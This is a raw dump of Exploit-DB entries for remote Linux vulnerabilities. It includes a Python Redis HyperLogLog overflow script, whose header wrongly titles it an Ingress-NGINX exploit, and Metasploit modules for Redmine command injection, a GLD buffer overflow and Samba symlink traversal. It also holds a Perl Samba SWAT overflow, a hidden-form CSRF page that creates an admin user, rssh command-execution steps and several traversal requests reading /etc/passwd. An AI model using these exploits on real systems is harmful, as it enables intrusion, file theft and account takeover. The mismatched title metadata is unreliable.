deardaniel/secdata-raw huggingface dataset:
Exploit-DB #52477
Description: Redis 8.0.2 - RCE
Type: remote
Platform: linux
Date: 2026-02-04
Author: Beatriz Fresno Naumova

Exploit:
# Exploit Title:  Ingress-NGINX Admission Controller v1.11.1 - FD Injection to RCE 
# Date: 2025-10-07
# Exploit Author: Beatriz Fresno Naumova
# Vendor Homepage: https://redis.io/
# Software Link: https://redis.io/
# Version: Affects :>= 8.0.0, < 8.0.3 
# Tested on: Ubuntu 22.04
# CVE: CVE-2025-32023

import redis
import sys

# --- Configuration ---
REDIS_HOST = 'localhost'
REDIS_PORT = 6379
REDIS_KEY = 'hll:exp'

# HLL encoding type (1 = sparse)
HLL_SPARSE = 1


def p8(value):
    """Convert integer to single byte."""
    return bytes([value])


def xzero(size):
    """
    Construct an 'xzero' run for sparse HLL:
    Creates a run-length encoding entry of zeroes with a specific size.
    """
    if not (1 <= size <= 0x4000):
        raise ValueError("Invalid xzero size: must be between 1 and 0x4000")
    size -= 1
    return p8(0b01_000000 | (size >> 8)) + p8(size & 0xff)


def build_malformed_hll():
    """
    Construct a malformed HLL payload that overflows internal counters.
    """
    payload = b'HYLL'                # Magic header
    payload += p8(HLL_SPARSE)        # Encoding type: sparse
    payload += p8(0) * 3             # Reserved
    payload += p8(0) * 8             # Unused (padding)
    
    assert len(payload) == 0x10      # Check header size
    
    # Append enough xzero runs to cause overflow
    payload += xzero(0x4000) * 0x20000  # == -0x80000000 when cast to signed int

    # Add one more run to complete the structure
    payload += p8(0b11111111)  # Runlen=4, regval=0x20 (but malformed)

    return payload


def main():
    try:
        print(f"[*] Connecting to Redis at {REDIS_HOST}:{REDIS_PORT}...")
        r = redis.Redis(REDIS_HOST, REDIS_PORT)

        print("[*] Building malformed HyperLogLog payload...")
        hll_payload = build_malformed_hll()

        print(f"[*] Writing malformed HLL to key: {REDIS_KEY}")
        r.set(REDIS_KEY, hll_payload)

        print("[*] Triggering HLL merge operation (pfcount)...")
        r.pfcount(REDIS_KEY, REDIS_KEY)

        print("[+] Exploit triggered successfully.")
    except Exception as e:
        print(f"[!] Exploit failed: {e}")
        sys.exit(1)


if __name__ == "__main__":
    main()
Exploit-DB #41695
Description: Redmine SCM Repository - Arbitrary Command Execution (Metasploit)
Type: remote
Platform: linux
Date: 2010-12-19
Author: Metasploit

Exploit:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


require 'msf/core'


class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Redmine SCM Repository Arbitrary Command Execution',
      'Description'    => %q{
          This module exploits an arbitrary command execution vulnerability in the
        Redmine repository controller. The flaw is triggered when a rev parameter
        is passed to the command line of the SCM tool without adequate filtering.
      },
      'Author'         => [ 'joernchen <joernchen[at]phenoelit.de>' ],  #Phenoelit
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2011-4929'],
          ['OSVDB', '70090'],
          ['URL', 'http://www.redmine.org/news/49' ]
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'DisableNops' => true,
          'Space'       => 512,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              #'RequiredCmd' => 'generic telnet',
            }
        },
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Targets'        => [[ 'Automatic', { }]],
      'DisclosureDate' => 'Dec 19 2010',
      'DefaultTarget'  => 0))

      register_options(
        [
          OptString.new('URI', [true, "The full URI path to the project", "/projects/1/"]),
        ], self.class)
  end

  def exploit
    command = Rex::Text.uri_encode(payload.encoded)
    urlconfigdir = normalize_uri(datastore['URI'], "/repository/annotate") + "?rev=`#{command}`"

    res = send_request_raw({
      'uri'     => urlconfigdir,
      'method'  => 'GET',
      'headers' =>
      {
        'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
        'Connection' => 'Close',
      }
    }, 25)

    if (res)
      print_status("The server returned: #{res.code} #{res.message}")
    else
      print_status("No response from the server")
    end
    handler
  end

end
Exploit-DB #24179
Description: Roundup 0.5/0.6 - Remote File Disclosure
Type: remote
Platform: linux
Date: 2004-06-08
Author: Vickenty Fesunov

Exploit:
source: https://www.securityfocus.com/bid/10495/info

Roundup is prone to a remote file disclosure vulnerability. A remote user can disclose files on a vulnerable computer by using the /home/@@file/ prefix and '../' directory traversal sequences.

This vulnerability affects Roundup 0.6.11 and prior versions. 

GET /cit/@@file/../../../../etc/passwd HTTP/1.0
Exploit-DB #24795
Description: RSSH 2.x - Arbitrary Command Execution
Type: remote
Platform: linux
Date: 2004-12-02
Author: Jason Wies

Exploit:
source: https://www.securityfocus.com/bid/11792/info

rssh is reported prone to a remote arbitrary command execution vulnerability. This issue may allow a remote attacker to execute commands and scripts on a vulnerable computer and eventually allow an attacker to gain elevated privileges on a vulnerable computer.

All versions of rssh are considered vulnerable at the moment.

ssh restricteduser@remotehost 'rsync -e "touch /tmp/example --" localhost:/dev/null /tmp' 

scp command.sh restricteduser@remotehost:/tmp/command.sh 

ssh restricteduser@remotehost 'scp -S /tmp/command.sh localhost:/dev/null /tmp'
Exploit-DB #25006
Description: RTF2LATEX2E 1.0 - Remote Stack Buffer Overflow
Type: remote
Platform: linux
Date: 2004-12-16
Author: Limin Wang

Exploit:
source: https://www.securityfocus.com/bid/11994/info

It is reported that rtf2latex2e is susceptible to a stack buffer overflow vulnerability. This issue is due to a failure of the application to properly bounds check user-supplied image data prior to copying it into a fixed-size memory buffer.

This vulnerability allows remote attackers to alter the proper flow of execution of the application, potentially resulting in the execution of attacker-supplied machine code in the context of the application attempting to read the malicious RTF file. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25006.zip
Exploit-DB #30089
Description: Ruby on Rails 1.2.3 To_JSON - Script Injection
Type: remote
Platform: linux
Date: 2007-05-25
Author: BCC

Exploit:
source: https://www.securityfocus.com/bid/24161/info

Ruby on Rails is prone to a script-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied script code would run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user; other attacks are also possible.

This issue affects Ruby on Rails 1.2.3; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30089.tgz
Exploit-DB #33402
Description: Ruby on Rails 2.3.5 - 'protect_from_forgery' Cross-Site Request Forgery
Type: remote
Platform: linux
Date: 2009-12-14
Author: p0deje

Exploit:
source: https://www.securityfocus.com/bid/37322/info

Ruby on Rails is prone to a cross-site request-forgery vulnerability.

Exploiting this issue may allow a remote attacker to perform certain administrative actions, gain unauthorized access to the affected application, or delete certain data. Other attacks are also possible. 

/**
*  Redmine <= 0.8.6 CSRF Add Admin User Exploit
*  Discovered by: p0deje (http://p0deje.blogspot.com)
*  Application: http://www.redmine.org/wiki/redmine/Download
*  SA: http://www.redmine.org/news/30
*  Date: 13.11.2009
*  Versions affected: <= 0.8.6
*  Description: this is a simple exploit which exploits CSRF vulnerability in Redmine, it creates user account with adminstartive rights
*/
 
<html>
<body>
    <form method=POST action="http://www.example.com/users/new">
       <input style="display: none" type="text" value="hacker" size="25" name="user[login]" id="user_login"/>
       <input style="display: none" type="text" value="hacker" size="30" name="user[firstname]" id="user_firstname"/>
       <input style="display: none" type="text" value="hacker" size="30" name="user[lastname]" id="user_lastname"/>
       <input style="display: none" type="text" value="hacker@hacker.com" size="30" name="user[mail]" id="user_mail"/>
       <input style="display: none" type="password" size="25" name="password" id="password" value="hacker" />
       <input style="display: none" type="password" size="25" name="password_confirmation" id="password_confirmation" value="hacker" />
       <input style="display: none" type="checkbox" value="1" name="user[admin]" id="user_admin"/>
       <input style="display: none" type="hidden" value="1" name="user[admin]"/>
       <input style="display: none" type="submit" value="Create" id="commit" name="commit" />
  </form>
  <script>document.getElementById("commit").click();</script>
</body>
</html>
 
/**
*  P.S. Actually, this vulnerability wasn&#039;t fixed in Redmine 0.8.7, because token was generated one time for all the pages and allthe users.
*  Thus, you can add POST data with token of any user and exploit will be working again
*/
Exploit-DB #16841
Description: Salim Gasmi GLD (Greylisting Daemon) - Postfix Buffer Overflow (Metasploit)
Type: remote
Platform: linux
Date: 2010-07-03
Author: Metasploit

Exploit:
##
# $Id: gld_postfix.rb 9669 2010-07-03 03:13:45Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


	class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'		=> 'GLD (Greylisting Daemon) Postfix Buffer Overflow',
			'Description'	=> %q{
				This module exploits a stack buffer overflow in the Salim Gasmi
				GLD <= 1.4 greylisting daemon for Postfix. By sending an
				overly long string the stack can be overwritten.
			},
			'Version'	=> '$Revision: 9669 $',
			'Author'	=> [ 'patrick' ],
			'Arch'		=> ARCH_X86,
			'Platform'	=> 'linux',
			'References'	=>
				[
					[ 'CVE', '2005-1099' ],
					[ 'OSVDB', '15492' ],
					[ 'BID', '13129' ],
					[ 'URL', 'http://www.milw0rm.com/exploits/934' ],
				],
			'Privileged'	=> true,
			'License'	=> MSF_LICENSE,
			'Payload'	=>
				{
					'Space' => 1000,
					'BadChars' => "\x00\x0a\x0d\x20=",
					'StackAdjustment' => -3500,
				},
			'Targets'	=>
				[
					[ 'RedHat Linux 7.0 (Guinness)', { 'Ret' => 0xbfffa5d8 } ],
				],
			'DefaultTarget'	=> 0,
			'DisclosureDate'  => 'Apr 12 2005'
		))

		register_options(
			[
				Opt::RPORT(2525)
			],
			self.class
		)
	end

	def exploit
		connect

		sploit = "sender="+ payload.encoded + "\r\n"
		sploit << "client_address=" + [target['Ret']].pack('V') * 300 + "\r\n\r\n"

		sock.put(sploit)
		handler
		disconnect

	end

end
Exploit-DB #10023
Description: Salim Gasmi GLD (Greylisting Daemon) 1.0 < 1.4 - Postfix Greylisting Buffer Overflow (Metasploit)
Type: remote
Platform: linux
Date: 2005-04-12
Author: patrick

Exploit:
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


	class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'		=> 'GLD (Greylisting Daemon) Postfix Buffer Overflow',
			'Description'	=> %q{
				This module exploits a stack overflow in the Salim Gasmi
				GLD <= 1.4 greylisting daemon for Postfix. By sending an
				overly long string the stack can be overwritten.
			},
			'Version'	=> '$Revision$',
			'Author'	=> [ 'patrick' ],
			'Arch'		=> ARCH_X86,
			'Platform'	=> 'linux',
			'References'	=>
				[
					[ 'CVE', '2005-1099' ],
					[ 'OSVDB', '15492' ],
					[ 'BID', '13129' ],
					[ 'URL', 'http://www.milw0rm.com/exploits/934' ],
				],
			'Privileged'	=> true,
			'License'	=> MSF_LICENSE,
			'Payload'	=>
				{
					'Space' => 1000,
					'BadChars' => "\x00\x0a\x0d\x20=",
					'StackAdjustment' => -3500,
				},
			'Targets'	=>
				[
					[ 'RedHat Linux 7.0 (Guinness)', { 'Ret' => 0xbfffa5d8 } ],
				],
			'DefaultTarget'	=> 0
		))

		register_options(
			[
				Opt::RPORT(2525)
			],
			self.class
		)
	end
	
	def exploit
		connect

		sploit = "sender="+ payload.encoded + "\r\n"
		sploit << "client_address=" + [target['Ret']].pack('V') * 300 + "\r\n\r\n"

		sock.put(sploit)
		handler
		disconnect

	end

end
Exploit-DB #364
Description: Samba 3.0.4 - SWAT Authorisation Buffer Overflow
Type: remote
Platform: linux
Date: 2004-07-22
Author: Noam Rathaus

Exploit:
#!/usr/bin/perl
# Samba 3.0.4 and prior's SWAT Authorization Buffer Overflow
# Created by Noam Rathaus of Beyond Security Ltd.
#

use IO::Socket;
use strict;

my $host = $ARGV[0];

my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host, 
PeerPort => "901" );

unless ($remote) { die "cannot connect to http daemon on $host" }

print "connected\n";

$remote->autoflush(1);

my $http = "GET / HTTP/1.1\r
Host: $host:901\r
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7) Gecko/20040712 
Firefox/0.9.1\r
Accept: text/xml\r
Accept-Language: en-us,en;q=0.5\r
Accept-Encoding: gzip,deflate\r
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r
Keep-Alive: 300\r
Connection: keep-alive\r
Authorization: Basic =\r
\r
";

print "HTTP: [$http]\n";
print $remote $http;
sleep(1);
print "Sent\n";

while (<$remote>)
{
 print $_;
}
print "\n";

close $remote;

# milw0rm.com [2004-07-22]
Exploit-DB #33053
Description: Samba 3.3.5 - Format String / Security Bypass
Type: remote
Platform: linux
Date: 2009-05-19
Author: Jeremy Allison

Exploit:
source: https://www.securityfocus.com/bid/35472/info

Samba is prone to multiple vulnerabilities.

Attackers can leverage these issues to execute arbitrary code within the context of the vulnerable application or to bypass certain security restrictions.

Samba 3.0.31 through 3.3.5 are affected.

The following proof of concept is available:

smb: \> put aa%3Fbb
Exploit-DB #33598
Description: Samba 3.4.5 - Symlink Directory Traversal (Metasploit)
Type: remote
Platform: linux
Date: 2010-02-04
Author: kingcope

Exploit:
source: https://www.securityfocus.com/bid/38111/info

Samba is prone to a directory-traversal vulnerability because the application fails to sufficiently sanitize user-supplied input.

Exploits would allow an attacker to access files outside of the Samba user's root directory to obtain sensitive information and perform other attacks.

To exploit this issue, attackers require authenticated access to a writable share. Note that this issue may be exploited through a writable share accessible by guest accounts.

NOTE: The vendor stated that this issue stems from an insecure default configuration. The Samba team advises administrators to set 'wide links = no' in the '[global]' section of 'smb.conf'.

##
# $Id: samba_symlink_traversal.rb 8369 2010-02-05 06:38:24Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Auxiliary

	# Exploit mixins should be called first
	include Msf::Exploit::Remote::DCERPC
	include Msf::Exploit::Remote::SMB
	include Msf::Auxiliary::Report

	# Aliases for common classes
	SIMPLE = Rex::Proto::SMB::SimpleClient
	XCEPT  = Rex::Proto::SMB::Exceptions
	CONST  = Rex::Proto::SMB::Constants


	def initialize
		super(
			'Name'        => 'Samba Symlink Directory Traversal',
			'Version'     => '$Revision: 8369 $',
			'Description' => %Q{
				This module exploits a directory traversal flaw in the Samba
			CIFS server. To exploit this flaw, a writeable share must be specified.
			The newly created directory will link to the root filesystem.
			},
			'Author'      =>
				[
					'kcope', # http://lists.grok.org.uk/pipermail/full-disclosure/2010-February/072927.html
					'hdm'    # metasploit module
				],
			'License'     => MSF_LICENSE
		)

		register_options([
			OptString.new('SMBSHARE', [true, 'The name of a writeable share on the server']),
			OptString.new('SMBTARGET', [true, 'The name of the directory that should point to the root filesystem', 'rootfs'])
		], self.class)

	end


	def run
		print_status("Connecting to the server...")
		connect()
		smb_login()

		print_status("Trying to mount writeable share #{datastore['SMBSHARE']}...")
		self.simple.connect(datastore['SMBSHARE'])

		print_status("Trying to link '#{datastore['SMBTARGET']}' to the root filesystem...")
		self.simple.client.symlink(datastore['SMBTARGET'], "../" * 10)

		print_status("Now access the following share to browse the root filesystem:")
		print_status("\t\\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{datastore['SMBTARGET']}\\")
		print_line("")
	end

end
Exploit-DB #7701
Description: Samba < 3.0.20 - Remote Heap Overflow
Type: remote
Platform: linux
Date: 2009-01-08
Author: zuc

Exploit:
/***********************************************************************************/
/* Samba < 3.0.20 heap overflow				   			   */
/* per Debian 3.0.14a Debian e altre versioni					   */
/* per versionare il sorgente:							   */
/* usare l'opzione DEBUG						  	   */
/* usare free() dalla GOT (non funziona su Mandriva,RHEL e Fedora)	 	   */  
/* da qualche parte nel 3Â°/4Â° pacchetto di risposta dice la versione di Samba	   */
/* coded by zuc@hack.it						  	   */
/***********************************************************************************/
#define VERSN 25
struct versions vers[VERSN] =
{
{"Debian 3.1 r0 X restart",0x0827c000,0x0837f000,30*1024},
{"Debian 3.1 r0 X",0x0827c000,0x0837f000,30*1024},
{"Debian 3.1 r0 noX restart",0x0827c000,0x0837f000,30*1024},
{"Debian 3.1 r0 noX",0x0827c000,0x0837f000,30*1024},
{"Debian 3.1 r0a X 1st",0x0827c000,0x0837f000,30*1024},
{"Debian 3.1 r0a noX restart",0x0827c000,0x0837f000,30*1024},
{"Debian 3.1 r0a noX",0x0827c000,0x0837f000,30*1024},
{"Debian 3.1 r1 noX restart",0x0827c000,0x0837f000,30*1024},
{"Debian 3.1 r1 noX",0x0827c000,0x0837f000,30*1024},
{"Debian 3.1 r2 noX restart",0x0827c000,0x0837f000,30*1024},
{"Debian 3.1 r2 noX",0x0827c000,0x0837f000,30*1024},
{"Debian 3.1 r3 noX restart",0x0827c000,0x0837f000,30*1024},
{"Debian 3.1 r3 noX",0x0827c000,0x0837f000,30*1024},
{"Debian 3.1 r4 noX restart",0x0827c000,0x0837f000,30*1024},
{"Debian 3.1 r4 noX",0x0827c000,0x0837f000,30*1024},
{"Debian 3.1 r5 noX restart",0x0827c000,0x0837f000,30*1024},
{"Debian 3.1 r5 noX",0x0827c000,0x0837f000,30*1024},
{"Debian 3.1 r6a noX restart",0x0827c000,0x0837f000,30*1024},
{"Debian 3.1 r6a noX",0x0827c000,0x0837f000,30*1024},
{"Slackware 10.0 restart",0x0827c000,0x0837f000,30*1024},
{"Slackware 10.0",0x0827c000,0x0837f000,30*1024},
{"Mandrake 10.1 noX",0x80380000,0x8045b000,30*1024},
{"Mandrake 10.1 X Kde",0x80380000,0x8045b000,30*1024},
{"Samba 3.0.x DEBUG",0x80380000,0x8045b000,30*1024}
};

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/7701.zip (2009-lsa.zip)

# milw0rm.com [2009-01-08]
Exploit-DB #27235
Description: SAP Business Connector 4.6/4.7 - 'adapter-index.dsp?url' Arbitrary Site Redirect
Type: remote
Platform: linux
Date: 2006-02-15
Author: Leandro Meiners

Exploit:
source: https://www.securityfocus.com/bid/16671/info

SAP Business Connector is susceptible to an input-validation vulnerability. This issue is due to the application's failure to properly sanitize user-supplied input.

This issue allows remote attackers to execute phishing-style attacks against targeted SAP Business Connector administrators.

The following URI example demonstrates this issue:

http://www.example.com/WmRoot/adapter-index.dsp?url=http://www.attacker.com/
Exploit-DB #27233
Description: SAP Business Connector 4.6/4.7 - 'chopSAPLog.dsp?fullName' Arbitrary File Disclosure
Type: remote
Platform: linux
Date: 2006-02-15
Author: Leandro Meiners

Exploit:
source: https://www.securityfocus.com/bid/16668/info

SAP Business Connector is prone to a file-access/deletion vulnerability. This issue arises due to an access-validation error.

A successful attack will result in the disclosure of sensitive or privileged information. An attacker may also delete arbitrary files. This often occurs with superuser privileges, since the package is often run with elevated privileges to gain access to TCP ports lower than 1024.

http://www.example.com/sapbc/SAP/chopSAPLog.dsp?fullName=/etc/passwd
Exploit-DB #27234
Description: SAP Business Connector 4.6/4.7 - 'deleteSingle?fullName' Arbitrary File Deletion
Type: remote
Platform: linux
Date: 2006-02-15
Author: Leandro Meiners

Exploit:
source: https://www.securityfocus.com/bid/16668/info
 
SAP Business Connector is prone to a file-access/deletion vulnerability. This issue arises due to an access-validation error.
 
A successful attack will result in the disclosure of sensitive or privileged information. An attacker may also delete arbitrary files. This often occurs with superuser privileges, since the package is often run with elevated privileges to gain access to TCP ports lower than 1024.

http://www.example.com/sapbc/invoke/sap.monitor.rfcTrace/deleteSingle?fullName=<path_to_file>
Exploit-DB #26024
Description: sap internet graphics server 6.40 - Directory Traversal
Type: remote
Platform: linux
Date: 2005-07-25
Author: Martin O'Neal

Exploit:
source: https://www.securityfocus.com/bid/14369/info

Internet Graphics Server is affected by a directory traversal vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

A remote unauthorized user can disclose the contents of arbitrary local files through the use of directory traversal strings '../'. Exploitation of this vulnerability could lead to a loss of confidentiality. 

http://host/htdocs/../../../../../../../../../../../../etc/passwd
Exploit-DB #38203
Description: Schmid Watson Management Console - Directory Traversal
Type: remote
Platform: linux
Date: 2013-01-09
Author: Dhruv Shah

Exploit:
source: https://www.securityfocus.com/bid/57237/info

Schmid Watson Management Console is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue will allow an attacker to view arbitrary files within the context of the affected application. Information harvested may aid in launching further attacks.

Schmid Watson Management Console 4.11.2.G is vulnerable; other versions may also be affected. 

GET /%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/etc/passwd http/1.1